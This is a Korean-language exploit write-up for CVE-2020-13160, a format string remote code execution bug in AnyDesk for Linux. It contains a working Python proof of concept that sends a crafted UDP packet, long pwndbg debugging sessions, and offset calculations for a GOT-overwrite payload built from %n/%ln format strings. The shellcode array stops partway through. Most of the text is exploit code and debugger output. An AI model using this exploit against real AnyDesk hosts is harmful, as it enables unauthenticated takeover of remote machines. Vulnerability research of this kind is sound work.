AnyDesk 5.5.3 이전 버전(Linux 및 FreeBSD)에서 발견된 포맷 문자열(format string) 취약점으로 이를 악용하면 원격 코드 실행(Remote Code Execution, RCE)이 가능합니다. 공격자는 특수하게 조작된 UDP 패킷을 전송하여 AnyDesk의 프론트엔드 프로세스를 손상시키고, 임의 코드를 실행할 수 있습니다.
| 심각도 (CVSS v3.1) | 9.8 (Critical) |
|---|---|
| 공격 벡터 | 네트워크 |
| 공격 복잡성 | 낮음 |
| 권한 요구 | 없음 |
| 사용자 상호작용 | 불필요 |
| 영향 | 기밀성, 무결성, 가용성에 높은 영향을 미침 |
원격 데스크톱 소프트웨어로, 사용자가 다른 위치의 컴퓨터나 장치를 인터넷을 통해 원격으로 액세스하고 제어할 수 있도록 하는 소프트웨어입니다.
import struct
import socket
ip = '127.0.0.1'
port = 50001
def gen_discover_packet(ad_id, os, hn, user, inf, func):
d = chr(0x3e)+chr(0xd1)+chr(0x1)
d += struct.pack('>I', ad_id)
d += struct.pack('>I', 0)
d += chr(0x2)+chr(os)
d += struct.pack('>I', len(hn)) + hn
d += struct.pack('>I', len(user)) + user
d += struct.pack('>I', 0)
d += struct.pack('>I', len(inf)) + inf
d += chr(0)
d += struct.pack('>I', len(func)) + func
d += chr(0x2)+chr(0xc3)+chr(0x51)
return d
p = gen_discover_packet(4919, 1, '\xec\x9chostname%n%n', '\xec\x9cusername%n%n', 'ad', 'main')
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(p, (ip, port))
s.close()
디버거를 연결하고
❯ ps aux | grep anydesk
root 936 0.1 0.0 657456 18348 ? Ssl 17:30 0:00 /usr/bin/anydesk --service
is119 2299 0.1 0.0 738392 23916 tty2 Sl+ 17:30 0:00 /usr/bin/anydesk --tray
is119 2528 0.5 0.1 2079952 34880 tty2 Sl+ 17:30 0:00 /usr/bin/anydesk
is119 3664 0.0 0.0 15724 1012 pts/0 S+ 17:30 0:00 grep --color=auto --exclude-dir=.bzr --exclude-dir=CVS --exclude-dir=.git --exclude-dir=.hg --exclude-dir=.svn --exclude-dir=.idea --exclude-dir=.tox --exclude-dir=.venv --exclude-dir=venv anydesk
❯ sudo gdb /usr/bin/anydesk -p 2528
pwndbg: loaded 142 pwndbg commands and 47 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $ida GDB functions (can be used with print/break)
Reading symbols from /usr/bin/anydesk...(no debugging symbols found)...done.
Attaching to program: /usr/bin/anydesk, process 2528
[New LWP 2530]
[New LWP 2531]
[New LWP 2532]
[New LWP 2535]
[New LWP 2538]
[New LWP 2539]
[New LWP 2540]
[New LWP 2541]
[New LWP 2542]
[New LWP 2543]
[New LWP 2544]
[New LWP 2545]
[New LWP 2546]
[New LWP 2547]
[New LWP 2548]
[New LWP 2549]
[New LWP 2550]
[New LWP 2551]
[New LWP 2552]
[New LWP 2553]
[New LWP 2554]
[New LWP 2555]
[New LWP 2556]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
0x00007f18a588dbb9 in __GI___poll (fds=0x2b2fec0, nfds=3, timeout=-1) at ../sysdeps/unix/sysv/linux/poll.c:29
29 ../sysdeps/unix/sysv/linux/poll.c: No such file or directory.
PoC 코드를 실행시켜보면
python poc.py
────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────
► 0x8ab34b lea rdi, [rsp + 0x18]
0x8ab350 call time@plt <time@plt>
0x8ab355 lea rdi, [rsp + 0x20]
0x8ab35a xor esi, esi
0x8ab35c call gettimeofday@plt <gettimeofday@plt>
0x8ab361 lea rdi, [rsp + 0x18]
0x8ab366 call gmtime@plt <gmtime@plt>
0x8ab36b lea rdi, [rsp + 0x60]
0x8ab370 mov r15, rax
0x8ab373 mov ecx, 4
0x8ab378 xor eax, eax
──────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────
00:0000│ rsp 0x7ffdc5337020 ◂— 0x0
01:0008│ 0x7ffdc5337028 —▸ 0x2b994e0 ◂— 0x65 /* 'e' */
02:0010│ 0x7ffdc5337030 —▸ 0x7fc2698b35a0 ◂— push r15
03:0018│ 0x7ffdc5337038 —▸ 0x7fc2698d06d2 (g_signal_emit_valist+2642) ◂— jmp 0x7fc2698cfcdc
04:0020│ 0x7ffdc5337040 ◂— 0x0
05:0028│ 0x7ffdc5337048 —▸ 0x7fc2698b9e87 (g_object_unref+103) ◂— lea edx, [rbx - 1]
06:0030│ 0x7ffdc5337050 —▸ 0x7ffdc53370a0 —▸ 0x2cb6960 —▸ 0x2bbed60 —▸ 0x2bba440 ◂— ...
07:0038│ 0x7ffdc5337058 —▸ 0x2b6fc30 ◂— 0x56 /* 'V' */
────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────
0 0x7fc264b87902 vfprintf+9634
1 0x7fc264bb28b0 vsnprintf+144
► 2 0x8ab34b
3 0x8aba98
4 0x434395
5 0x7fc2695e12e2 g_logv+594
6 0x7fc2695e143f g_log+143
7 0x7fc26b0471d1
8 0x7fc26b0484a7 gtk_label_set_markup+135
9 0x63e949
Thread 1 "anydesk" received signal SIGSEGV, Segmentation fault.
0x00007f1a9e8df902 in _IO_vfprintf_internal (s=s@entry=0x7fff8326db30, format=format@entry=0x7fff8326dd80 "Failed to set text from markup due to error parsing markup: Error on line 1 char 48: Invalid UTF-8 encoded text in name - not valid '\354\234username%n%n'", ap=ap@entry=0x7fff8326ea48) at vfprintf.c:1642
1642 vfprintf.c: No such file or directory.
vprintf 함수의 인자를 살펴보면유효하지 않은 UTF-8 문자가 들어와서 파싱 에러가 발생했다는 메시지가 있습니다.
\354\234인자에 포멧 스트링인 %n 이 포함되어 있습니다.
- %n은 이전까지 출력된 문자의 바이트 수를 계산하여, 이를 특정 메모리 주소에 저장합니다
➡️ 지금까지 출력된 바이트 수가 메모리 주소에 저장되면서 메모리 관련 에러가 발생했습니다.
백트레이스를 살펴보면
pwndbg> bt
#0 0x00007fbd44327902 in _IO_vfprintf_internal (s=s@entry=0x7ffcef7a7470, format=format@entry=0x7ffcef7a76c0 "Failed to set text from markup due to error parsing markup: Error on line 1 char 48: Invalid UTF-8 encoded text in name - not valid '\354\234username%n%n'", ap=ap@entry=0x7ffcef7a8388) at vfprintf.c:1642
#1 0x00007fbd443528b0 in _IO_vsnprintf (string=0x7ffcef7a7ac0 "Failed to set text from markup due to error parsing markup: Error on line 1 char 48: Invalid UTF-8 encoded text in name - not valid '\354\234username", maxlen=<optimized out>, format=0x7ffcef7a76c0 "Failed to set text from markup due to error parsing markup: Error on line 1 char 48: Invalid UTF-8 encoded text in name - not valid '\354\234username%n%n'", args=0x7ffcef7a8388) at vsnprintf.c:114
#2 0x00000000008ab34b in ()
#3 0x00000000008aba98 in ()
#4 0x0000000000434395 in ()
#5 0x00007fbd48d812e2 in g_logv () at /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0
#6 0x00007fbd48d8143f in g_log () at /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0
#7 0x00007fbd4a7e71d1 in () at /usr/lib/x86_64-linux-gnu/libgtk-x11-2.0.so.0
#8 0x00007fbd4a7e84a7 in gtk_label_set_markup () at /usr/lib/x86_64-linux-gnu/libgtk-x11-2.0.so.0
#9 0x000000000063e949 in ()
#10 0x000000000062186d in ()
#11 0x000000000062e775 in ()
#12 0x000000000055755b in ()
#13 0x000000000048142b in ()
#14 0x00007fbd48d7a3a5 in g_main_context_dispatch () at /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0
#15 0x00007fbd48d7a770 in () at /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0
#16 0x00007fbd48d7aa82 in g_main_loop_run () at /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0
#17 0x00007fbd4a7f3a37 in gtk_main () at /usr/lib/x86_64-linux-gnu/libgtk-x11-2.0.so.0
#18 0x00000000004a821e in ()
#19 0x0000000000485548 in ()
#20 0x0000000000416552 in ()
#21 0x00007fbd442ebc87 in __libc_start_main (main=0x4157e0, argc=1, argv=0x7ffcef7bb198, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7ffcef7bb188) at ../csu/libc-start.c:310
#22 0x00000000004187da in ()
__libc_start_main, 0x0000000000416552gtk_maing_main_loop_rung_main_context_dispatchgtk_label_set_markupg_logg_logv_IO_vsnprintf_IO_vfprintf_internalpwndbg> disas 0x000000000048142b
No function contains specified address.
pwndbg> disas 0x000000000063e949
No function contains specified address.
pwndbg> disas 0x0000000000434395
No function contains specified address.
pwndbg> disas 0x00000000008ab34b
No function contains specified address.
pwndbg> b * 0x000000000048142b
Breakpoint 1 at 0x48142b
pwndbg> b * 0x000000000055755b
Breakpoint 2 at 0x55755b
pwndbg> b * 0x000000000062e775
Breakpoint 3 at 0x62e775
pwndbg> b * 0x000000000062186d
Breakpoint 4 at 0x62186d
pwndbg> b * 0x000000000063e949
Breakpoint 5 at 0x63e949
pwndbg> b * 0x00007fbd4a7e84a7
Breakpoint 6 at 0x7fbd4a7e84a7
pwndbg> b * 0x00007fbd4a7e71d1
Breakpoint 7 at 0x7fbd4a7e71d1
pwndbg> b * 0x00007fbd48d8143f
Breakpoint 8 at 0x7fbd48d8143f
pwndbg> b * 0x00007fbd48d812e2
Breakpoint 9 at 0x7fbd48d812e2
pwndbg> b * 0x0000000000434395
Breakpoint 10 at 0x434395
pwndbg> b * 0x00000000008aba98
Breakpoint 11 at 0x8aba98
pwndbg> b * 0x00000000008ab34b
Breakpoint 12 at 0x8ab34b
pwndbg> c
Continuing.
Warning:
Cannot insert breakpoint 9.
Cannot access memory at address 0x7fbd48d812e2
Cannot insert breakpoint 8.
Cannot access memory at address 0x7fbd48d8143f
Cannot insert breakpoint 7.
Cannot access memory at address 0x7fbd4a7e71d1
Cannot insert breakpoint 6.
Cannot access memory at address 0x7fbd4a7e84a7
➡️ 1번 방식으로는 분석이 힘들고 2번 방식을 사용해서 분석을 진행해야 할 거 같습니다.
_IO_vfprintf_internal | 가변 인자 목록과 형식 문자열을 받아 출력 스트림에 포맷된 데이터를 작성하는 내부 함수 |
|---|---|
_IO_vsnprintf | 지정된 크기의 버퍼에 형식 문자열을 안전하게 출력하는 함수입니다. |
g_logv | 가변 인자 목록(va_list)을 받아 로그 메시지를 포맷한 후 출력하는 GLib 함수 |
g_log | 가변 인자 형식의 로그 메시지 출력 함수로, 인자로 전달된 데이터를 내부에서 가변 인자 목록 형태로 변환하여 g_logv를 호출 |
gtk_label_set_markup | GtkLabel 위젯의 텍스트와 스타일을 Pango 마크업 언어를 사용하여 설정하는 함수. 전달된 마크업 문자열을 파싱하여 라벨의 텍스트와 속성을 결정하는데, 만약 파싱 도중 유효하지 않은 UTF‑8 문자나 문법적 오류가 발생하면 오류 메시지를 생성하고 로그 함수들을 통해 이를 보고 |
g_main_context_dispatch | GLib의 메인 이벤트 루프 내에서 등록된 이벤트들을 조사하여 적절한 콜백을 호출하는 함수 |
g_main_loop_run | GLib 메인 루프를 실행하여 프로그램이 종료될 때까지 계속해서 이벤트를 처리하도록 하는 함수 |
gtk_main | GTK 애플리케이션에서 메인 이벤트 루프를 시작하는 함수로, 사용자 입력 및 위젯 업데이트 등의 처리를 담당 |
__libc_start_main | C 런타임 환경을 초기화하고, 운영체제가 지정한 프로그램 진입점인 main 함수를 호출하기 전에 필요한 초기화 작업을 수행하는 함수 |
gtk_label_set_markup 함수의 기능을 봐보면 텍스트를 Pango 마크업 언어를 사용하여 설정하는데, 텍스트 파싱 도중 유효하지 않은 UTF-8 문자가 있으면 오류 메시지를 생성하고 로그 함수를 통해 이를 보고 한다고 하고 있습니다.vsnprintf 함수의 인자를 보면 유효하지 않은 UTF-8 문자로 인해 파싱 에러가 발생했다는 문자열이 있었습니다.gtk_label_set_markup 함수에서 유효하지 않은 UTF-8 문자열을 파싱하는 과정에서 에러가 발생했고 이를 로깅하는 과정에서 포맷 스트링 버그가 발생한거 같습니다.해당 함수의 인자에 페이로드가 존재하는지 확인해보면
pwndbg> b * gtk_label_set_markup
Breakpoint 1 at 0x7fc7046c2420
pwndbg> c
Continuing.
pwndbg> x/s $rdi
0x7fc6e4008450: "\360&L\001"
pwndbg> x/s $rsi
0x169cb50: "<span foreground=\"white\">\354\234username%n%n</span>"
ABEL_61:
v81 = (const char *)sub_8ADC90(v190);
sub_8AD130(v191, "%s>%s</span>", v81, v80);
sub_8AD7E0(v190, v191);
sub_8ACDC0(v191);
v82 = sub_8ADC90(v190);
v83 = gtk_label_get_type();
v84 = g_type_check_instance_cast(*(_QWORD *)(a1 + 9224), v83);
gtk_label_set_markup(v84, v82);
sub_8ACDC0(v190);
goto LABEL_62;
}
sub_8ACF40(v195, " ");
sub_8AD840(v192, v195, a1 + 10320);
sub_8ACDC0(v195);
sub_8AD9D0(v190, v192);
sub_8ACDC0(v192);
goto LABEL_61;
}
gtk_label_set_markup(v84, v82) 부분을 보면 페이로드를 위젯에 세팅하기 위해 gtk_label_set_markup 함수를 호출하고 있습니다.void
gtk_label_set_markup (GtkLabel *self,
const char *str)
{
gboolean changed;
g_return_if_fail (GTK_IS_LABEL (self));
g_object_freeze_notify (G_OBJECT (self));
changed = gtk_label_set_label_internal (self, str);
changed = gtk_label_set_use_markup_internal (self, TRUE) || changed;
changed = gtk_label_set_use_underline_internal (self, FALSE) || changed;
if (changed)
gtk_label_recalculate (self);
g_object_thaw_notify (G_OBJECT (self));
}
gtk_label_recalculate 함수를 호출합니다.static void
gtk_label_recalculate (GtkLabel *self)
{
guint keyval = self->mnemonic_keyval;
gtk_label_clear_links (self);
gtk_label_clear_layout (self);
gtk_label_clear_select_info (self);
if (self->use_markup)
{
gtk_label_set_markup_internal (self, self->label, self->use_underline);
}
else if (self->use_underline)
{
char *text;
text = g_markup_escape_text (self->label, -1);
gtk_label_set_markup_internal (self, text, TRUE);
g_free (text);
}
else
{
g_clear_pointer (&self->markup_attrs, pango_attr_list_unref);
gtk_label_set_text_internal (self, g_strdup (self->label));
}
if (!self->use_underline)
self->mnemonic_keyval = GDK_KEY_VoidSymbol;
if (keyval != self->mnemonic_keyval)
{
gtk_label_setup_mnemonic (self);
g_object_notify_by_pspec (G_OBJECT (self), label_props[PROP_MNEMONIC_KEYVAL]);
}
gtk_widget_queue_resize (GTK_WIDGET (self));
}
gtk_label_set_markup_internal 함수를 호출합니다.static void
gtk_label_set_markup_internal (GtkLabel *self,
const char *str,
gboolean with_uline)
{
char *text = NULL;
GError *error = NULL;
PangoAttrList *attrs = NULL;
char *str_for_display = NULL;
GtkLabelLink *links = NULL;
guint n_links = 0;
gunichar accel_keyval = 0;
gboolean do_mnemonics;
do_mnemonics = self->mnemonics_visible &&
gtk_widget_is_sensitive (GTK_WIDGET (self)) &&
(!self->mnemonic_widget || gtk_widget_is_sensitive (self->mnemonic_widget));
if (!parse_uri_markup (self, str,
with_uline && !do_mnemonics,
&accel_keyval,
&str_for_display,
&links, &n_links,
&error))
goto error_set;
if (links)
{
gtk_label_ensure_select_info (self);
self->select_info->links = g_steal_pointer (&links);
self->select_info->n_links = n_links;
gtk_label_ensure_has_tooltip (self);
gtk_widget_add_css_class (GTK_WIDGET (self), "link");
}
if (!pango_parse_markup (str_for_display, -1,
with_uline && do_mnemonics ? '_' : 0,
&attrs, &text,
with_uline && do_mnemonics ? &accel_keyval : NULL,
&error))
goto error_set;
g_free (str_for_display);
if (text)
gtk_label_set_text_internal (self, text);
g_clear_pointer (&self->markup_attrs, pango_attr_list_unref);
self->markup_attrs = attrs;
self->mnemonic_keyval = accel_keyval;
return;
error_set:
g_warning ("Failed to set text '%s' from markup due to error parsing markup: %s",
str, error->message);
g_error_free (error);
}
GtkLabel 위젯에 전달된 마크업 문자열을 파싱하여, 화면에 표시할 텍스트와 스타일 속성, 링크, 그리고 mnemonic 키 값을 추출합니다.error_set으로 분기하게 됩니다.error_set에서는 에러 메시지를 출력을 위해 g_warning 함수를 호출합니다.void
g_warning (const gchar *format, ...)
{
va_list args;
va_start (args, format);
sub_8AB9F0 (NULL, G_LOG_LEVEL_WARNING, format, args);
va_end (args);
}
va_start 매크로로 인자 목록을 초기화합니다.sub_8AB9F0 함수를 호출합니다.void __fastcall sub_8AB2C0(__int64 a1, unsigned int a2, __int64 a3, const char *a4, void *a5)
{
struct tm *v10; // r15
unsigned int v11; // edx
bool v12; // zf
...
if ( byte_11BFD48 && dword_11BFD4C >= a2 )
{
if ( (unsigned __int8)sub_8AAC50() )
{
strncpy(dest, a4, 0x400uLL);
dest[1023] = 0;
sub_8AF530(dest);
vsnprintf(s, 0x400uLL, dest, a5);
time(&timer);
gettimeofday(&tv, 0LL);
vsnprintf 함수에 인자로 전달되면서 포맷 스트링 버그가 발생합니다.pwndbg> x/s 0x7fff73467a70
0x7fff73467a70: "Failed to set text from markup due to error parsing markup: Error on line 1 char 87: Invalid UTF-8 encoded text in name - not valid '\205\376 1.0x1693750 2.(nil) 3.0x7fc6fe58fc40 4.0x4342b0 5.0xb366d8 6.(ni"...
먼저 보호기법을 확인해보면
pwndbg> checksec
[*] '/home/is119/CVE-2020-13160/anydesk'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
vsnprintf 함수에서 발생한 포멧 스트링 버그의 경우 익스플로잇을 할때 vsnprintf 함수의 인자 중 하나인 va_list ap 를 활용할 수 있습니다.
vsnprintf(char *str, size_t size, const char *format, va_list ap)
va_list ap 는 가변인자 함수를 구현할 때 사용되는 특별한 데이터 타입입니다.typedef struct {
unsigned int gp_offset;
unsigned int fp_offset;
void *overflow_arg_area;
void *reg_save_area;
} va_list[1];
gp_offset : 일반 목적 레지스러로 전달된 가변 인자의 오프셋fp_offset : 부동소수점 레지스터로 전달된 가변 인자의 오프셋overflow_arg_area : 레지스터에 담을 수 없는 인자들이 스택에 저장될 때, 스택 영역의 시작주소reg_save_area : 레지스터를 저장한 메모리 영역
va_list 의 *overflow_arg_area 영역을 활용할 수 있습니다.이를 위해 먼저 포멧 스트링 오프셋을 구해보겠습니다.
p = gen_discover_packet(4919, 1, '\x85\xfe 1.%p 2.%p 3.%p 4.%p 5.%p 6.%p 7.%p 8.%p 9.%p 10.%p', 'custom username', 'ad', 'main')
pwndbg> b * 0x8ab346
Breakpoint 1 at 0x8ab346
pwndbg> c
Continuing.
vsnprintf 함수 호출 부분에 break point를 걸어주고 PoC 코드를 실행시킵니다.Context를 봐보면
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────
*RAX 0x0
*RBX 0x11c5040 ◂— 0x22 /* '"' */
*RCX 0x7fff73468338 ◂— 0x3000000010
*RDX 0x7fff73467670 ◂— 0x742064656c696146 ('Failed t')
*RDI 0x7fff73467a70 ◂— 0x7
*RSI 0x400
R8 0x0
*R9 0x657420746573206f ('o set te')
*R10 0x3a37382072616863 ('char 87:')
*R11 0x7fc704868e16 ◂— add byte ptr [rax], al
*R12 0x7fff73468338 ◂— 0x3000000010
*R13 0xb366d8 ◂— insb byte ptr [edi], dx /* 'glib' */
*R14 0x1693750 ◂— 0x742064656c696146 ('Failed t')
*R15 0x7fc70485e89b ◂— je 0x7fc70485e909 /* 'Gtk' */
*RBP 0x5
*RSP 0x7fff73467590 ◂— 0x0
*RIP 0x8ab346 ◂— call 0x412d90
────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────
► 0x8ab346 call vsnprintf@plt <vsnprintf@plt>
s: 0x7fff73467a70 ◂— 0x7
maxlen: 0x400
format: 0x7fff73467670 ◂— 0x742064656c696146 ('Failed t')
arg: 0x7fff73468338 ◂— 0x3000000010
0x8ab34b lea rdi, [rsp + 0x18]
0x8ab350 call time@plt <time@plt>
0x8ab355 lea rdi, [rsp + 0x20]
0x8ab35a xor esi, esi
0x8ab35c call gettimeofday@plt <gettimeofday@plt>
0x8ab361 lea rdi, [rsp + 0x18]
0x8ab366 call gmtime@plt <gmtime@plt>
0x8ab36b lea rdi, [rsp + 0x60]
0x8ab370 mov r15, rax
0x8ab373 mov ecx, 4
arg 에 va_list ap 가 저장되어 있습니다.내부를 확인해보면
pwndbg> x/2wx 0x7fff73468338
0x7fff73468338: 0x00000010 0x00000030
gp_offset 과 fp_offset 이 보입니다.pwndbg> x/2gx 0x7fff73468338+8
0x7fff73468340: 0x00007fff73468410 0x00007fff73468350
overflow_arg_area 와 reg_save_area 가 보입니다.pwndbg> x/4gx 0x00007fff73468350+0x10
0x7fff73468360: 0x0000000001693750 0x0000000000000000
0x7fff73468370: 0x00007fc6fe58fc40 0x00000000004342b0
reg_save_area를 gp_offset을 더해서 조회해보면pwndbg> x/6gx 0x00007fff73468410
0x7fff73468410: 0x0000000000b366d8 0x0000000000000000
0x7fff73468420: 0x0000000000000001 0x00007fc702c59f44
0x7fff73468430: 0x0000000001693750 0x0000000000000010
overflow_arg_area 를 조회해보면 첫번째 값으로 0xb366d8 이 들어있습니다.next instruct 명령어로 vsnprintf 함수 실행 결과를 봐보면
pwndbg> ni
0x00000000008ab34b in ?? ()
────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────
0x8ab346 call vsnprintf@plt <vsnprintf@plt>
► 0x8ab34b lea rdi, [rsp + 0x18]
0x8ab350 call time@plt <time@plt>
0x8ab355 lea rdi, [rsp + 0x20]
0x8ab35a xor esi, esi
0x8ab35c call gettimeofday@plt <gettimeofday@plt>
0x8ab361 lea rdi, [rsp + 0x18]
0x8ab366 call gmtime@plt <gmtime@plt>
0x8ab36b lea rdi, [rsp + 0x60]
0x8ab370 mov r15, rax
0x8ab373 mov ecx, 4
pwndbg> x/s 0x7fff73467a70
0x7fff73467a70: "Failed to set text from markup due to error parsing markup: Error on line 1 char 87: Invalid UTF-8 encoded text in name - not valid '\205\376 1.0x1693750 2.(nil) 3.0x7fc6fe58fc40 4.0x4342b0 5.0xb366d8 6.(nil) 7.0x1 8.0x7fc702c59f44 9.0x1693750 10.0x10'"
overflow_arg_area 의 첫 번째 값이 들어있습니다.임의 읽기와 쓰기를 하기 위해서는 먼저 Format String이 발생 횟수와 순서를 파악해야 합니다.
취약점 식별
p = gen_discover_packet(4919, 1, '\x85\xfeHOSTNAME %p', '\x85\xfeUSERNAME %p', 'ad', 'main')
pwndbg> b * 0x8ab346
Breakpoint 1 at 0x8ab346
pwndbg> c
Continuing.
────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────
► 0x8ab346 call vsnprintf@plt <vsnprintf@plt>
s: 0x7fff73467a70 ◂— 0x7
maxlen: 0x400
format: 0x7fff73467670 ◂— 0x742064656c696146 ('Failed t')
arg: 0x7fff73468338 ◂— 0x3000000010
0x8ab34b lea rdi, [rsp + 0x18]
0x8ab350 call time@plt <time@plt>
0x8ab355 lea rdi, [rsp + 0x20]
0x8ab35a xor esi, esi
0x8ab35c call gettimeofday@plt <gettimeofday@plt>
0x8ab361 lea rdi, [rsp + 0x18]
0x8ab366 call gmtime@plt <gmtime@plt>
0x8ab36b lea rdi, [rsp + 0x60]
0x8ab370 mov r15, rax
0x8ab373 mov ecx, 4
──────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────
00:0000│ rsp 0x7fff73467590 ◂— 0x0
01:0008│ 0x7fff73467598 —▸ 0x148a230 ◂— 0x65 /* 'e' */
02:0010│ 0x7fff734675a0 —▸ 0x7fc702f2d5a0 ◂— push r15
03:0018│ 0x7fff734675a8 —▸ 0x7fc702f4a6d2 (g_signal_emit_valist+2642) ◂— jmp 0x7fc702f49cdc
04:0020│ 0x7fff734675b0 ◂— 0x0
05:0028│ 0x7fff734675b8 —▸ 0x7fc702f33e87 (g_object_unref+103) ◂— lea edx, [rbx - 1]
06:0030│ 0x7fff734675c0 —▸ 0x7fff73467610 —▸ 0x15a5960 —▸ 0x14af110 —▸ 0x14aa710 ◂— ...
07:0038│ 0x7fff734675c8 —▸ 0x1460890 ◂— 0x56 /* 'V' */
────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────
► 0 0x8ab346
1 0x8aba98
2 0x434395
3 0x7fc702c5b2e2 g_logv+594
4 0x7fc702c5b43f g_log+143
5 0x7fc7046c11d1
6 0x7fc7046c24a7 gtk_label_set_markup+135
7 0x63e949
─────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/s 0x7fff73467670
0x7fff73467670: "Failed to set text from markup due to error parsing markup: Error on line 1 char 47: Invalid UTF-8 encoded text in name - not valid '\205\376USERNAME %p'"
username을 파싱할 때 첫번째 포멧 스트링 버그가 발생합니다.pwndbg> c
Continuing.
Thread 1 "anydesk" hit Breakpoint 1, 0x00000000008ab346 in ?? ()
────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────
► 0x8ab346 call vsnprintf@plt <vsnprintf@plt>
s: 0x7fff73467a70 ◂— 0x7
maxlen: 0x400
format: 0x7fff73467670 ◂— 0x742064656c696146 ('Failed t')
arg: 0x7fff73468338 ◂— 0x3000000010
0x8ab34b lea rdi, [rsp + 0x18]
0x8ab350 call time@plt <time@plt>
0x8ab355 lea rdi, [rsp + 0x20]
0x8ab35a xor esi, esi
0x8ab35c call gettimeofday@plt <gettimeofday@plt>
0x8ab361 lea rdi, [rsp + 0x18]
0x8ab366 call gmtime@plt <gmtime@plt>
0x8ab36b lea rdi, [rsp + 0x60]
0x8ab370 mov r15, rax
0x8ab373 mov ecx, 4
──────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────
00:0000│ rsp 0x7fff73467590 ◂— 0xadd
01:0008│ 0x7fff73467598 ◂— 0x8f
02:0010│ 0x7fff734675a0 —▸ 0x7fc702f2d5a0 ◂— push r15
03:0018│ 0x7fff734675a8 ◂— 0x67d42d19
04:0020│ 0x7fff734675b0 ◂— 0x67d42d19
05:0028│ 0x7fff734675b8 ◂— 0x231ed
06:0030│ 0x7fff734675c0 —▸ 0xdd73d0 —▸ 0x8c3200 ◂— mov qword ptr [rdi], 0xdd73d0
07:0038│ 0x7fff734675c8 ◂— 0x3
────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────
► 0 0x8ab346
1 0x8aba98
2 0x434395
3 0x7fc702c5b2e2 g_logv+594
4 0x7fc702c5b43f g_log+143
5 0x7fc7046c11d1
6 0x7fc7046c24a7 gtk_label_set_markup+135
7 0x63ebc9
─────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/s 0x7fff73467670
0x7fff73467670: "Failed to set text from markup due to error parsing markup: Error on line 1 char 47: Invalid UTF-8 encoded text in name - not valid '\205\376HOSTNAME %p'"
hostname 에서 두 번째 포멧 스트링 버그가 발생합니다.➡️ 위 두 버그를 악용하면 overflow_arg_area 에서 임의 읽기 및 쓰기가 가능합니다.
telescope 명령어로 overflow_arg_area 영역을 봐보면 스택 영역으로 연결된 주소들이 존재합니다.
pwndbg> telescope 0x00007fff73468410 200
...
69:0348│ 0x7fff73468758 —▸ 0x7fff73468920 ◂— 0x0
...
a2:0510│ 0x7fff73468920 ◂— 0x0
...
먼저 0x7fff73468758 주소에 접근 해 exit@got 값을 씁니다.
...
69:0348│ 0x7fff73468758 —▸ 0x7fff73468920 ◂— exit@got
...
a2:0510│ 0x7fff73468920 ◂— exit@got
...
exit@got 가 저장되게 됩니다.다음으로 0x7fff73468920 주소에 접근해 0x1337 을 써보면
...
69:0348│ 0x7fff73468758 —▸ 0x7fff73468920 —▸ exit@got —▸ exit address
...
a2:0510│ 0x7fff73468920 —▸ exit@got —▸ 0x1337
...
exit 함수의 주소가 저장되던 곳에 0x1337 이 저장되게 됩니다.exit 함수가 호출되면 rip 가 0x1337 로 변조됩니다.➡️ 위 원리를 이용하면 Arbitrary Write가 가능해집니다.
먼저 Arbitrary Read & Write를 위한 각각의 오프셋을 구해보면
pwndbg> telescope 0x00007fff73468410 200
...
69:0348│ 0x7fff73468758 —▸ 0x7fff73468920 ◂— 0x0
...
a2:0510│ 0x7fff73468920 ◂— 0x0
...
69:0348│ 0x7fff73468758 —▸ 0x7fff73468920 ◂— 0x0offset / 8 + fsb_offset = 840(0x348) / 8 + 5 = 110a2:0510│ 0x7fff73468920 ◂— 0x0offset / 8 + fsb_offset = 1296(0x510) / 8 + 5 = 167%1$*1$x%165$ln + shellcode
%1$*1$x : 뒤에 오는 shellcode의 주소를 가져와서 문자열 출력 길이로 설정%165$ln : 오프셋이 165 번째 떨어진 곳에 가서 출력한 바이트 길이를 8바이트 형태로 쓴다➡️ 쉘 코드의 주소를 읽어서 원하는 위치에 쓸 수 있게 되었습니다.
[0x119ddc0] time@GLIBC_2.2.5 -> 0x7fff735e6910 (time) ◂— push rbp
time@got : 0x119ddc0 → 1847238418472384 - 133 - 2 = 18472249
\x85\xfe%18472249x%110$ln
\x85\xfe : 파싱 에러 유발을 위한 문자%18472249x : 18472249 Bytes 만큼 출력하겠다%110$ln : 오프셋 110번째 주소에 출력한 바이트 길이를 8바이트 형태로 쓴다➡️ exit@got를 Overwrite 할 수 있게 되었습니다.
이제 위 포멧 스트링을 이용해서 페이로드를 짜보면
shellcode = b""
shellcode += b"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48"
shellcode += b"\x8d\x05\xef\xff\xff\xff\x48\xbb\x59\x88\xc6"
shellcode += b"\x9c\x5f\xfe\x71\x38\x48\x31\x58\x27\x48\x2d"
shellcode += b"\xf8\xff\xff\xff\xe2\xf4\x33\xa1\x9e\x05\x35"
shellcode += b"\xfc\x2e\x52\x58\xd6\xc9\x99\x17\x69\x39\x81"
